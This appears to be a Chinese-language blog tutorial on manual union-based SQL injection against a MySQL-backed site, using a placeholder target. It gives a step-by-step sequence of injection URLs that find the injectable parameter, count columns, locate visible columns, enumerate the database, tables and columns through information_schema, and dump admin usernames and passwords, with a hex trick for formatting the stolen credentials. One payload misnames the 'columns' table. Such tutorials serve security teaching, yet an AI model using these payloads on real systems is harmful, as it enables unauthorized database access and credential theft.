sql注入——手工注入mysql数据库

手动sql注入流程:

1.判断注入点
2.判断字段数
3.判断可显字段位置
4.爆库名
5.爆表
6.爆字段
7.爆内容	

实验环境
渗透网站:www.abc.com (已查明没有此网站,这里只是举个例子)
www.abc.com?id=123 是该网站的后台提交页面。
此次查询的字段数是4个。数据库=gov,表=admin,username=root,password=123456.

思路:我们要在数据库查询出我们想要的内容,就需要知道表名和字段名。如:select username,password from admin;
要知道字段名<-表名<-库名

1.判断注入点

www.abc.com?id=123 and 1=1 		网页没报错
www.abc.com?id=123 and 1=2	 	网页报错

由此可见www.abc.com?id=123是注入点。
2.判断字段数
order by 判断此次查询有几个字段。

www.abc.com?id=123 order by 4	判断出此次查询字段数是4个

3.爆可显字段。
union联合查询可以判断出可显字段。

www.abc.com?id=123 and 1=2 union select  1,2,3,4 ; 
判断出2、3号位是可显字段

4.爆库名
这里利用可显字段爆出数据库名字、版本等信息。

www.abc.com?id=123 and 1=2 union select 1,version(),group_concat(database(),user()),4;
由此爆出数据库版本5.1、数据库用户root、数据库名称gov。

5.爆表

www.abc.com?id=123 and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema =  "gov"
这里爆出表admin

MySQL数据库中的information_schema介绍。

information_schema包含了mysql所有的库、表、列的相关信息	(数据库)
tables	存放了所有表的信息。在这里查表名	(表)
columns	存放了所有列的信息。在这里查列名	(表)
table_name	表名	(字段)
column_name	列名	(字段)
table_schema 库名	(字段)

帮助理解:tables中保存了所有表信息,所以要查表名可以从tables中查询,但tables表中有很多表,所以通过table_schema库名来筛选我们是要查的是哪张表。
注:
group_concat函数
作用:将内容集中显示。
语法:group_concat(str1,str2,…)
返回结果为拼接字符串,若有一个参数为null,则返回值为null。

爆字段

www.abc.com?id=123 and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.column where table_name = "admin"
这里爆出字段username、password

爆内容
现在数据库名、表名、字段(列名)都有了,就可以查询内容了。

www.abc.com?id=123 and 1=2 union select 1,group_concat(username,password),4 from admin;
这里爆出username=root password=123456

此时就爆出了数据库里的用户名和密码了,但是实战当中表中存的用户名和密码可能很多,杂乱无章不好查看。
在这里插入图片描述
可以使用以下技巧一遍查看。
技巧:
0x3a 是16进制,在ascll码中表示冒号
可以添加冒号和换行来方便查看。
冒号(:)在ascll码中的十六进制表示为**0x3a;
html中
换行符**(<hr/>)在ascll码中的十六进制表示为0x3C,0x68,0x72,0x2F,0x3E
例:
select group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E) from user;
效果类似于下图:
在这里插入图片描述

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值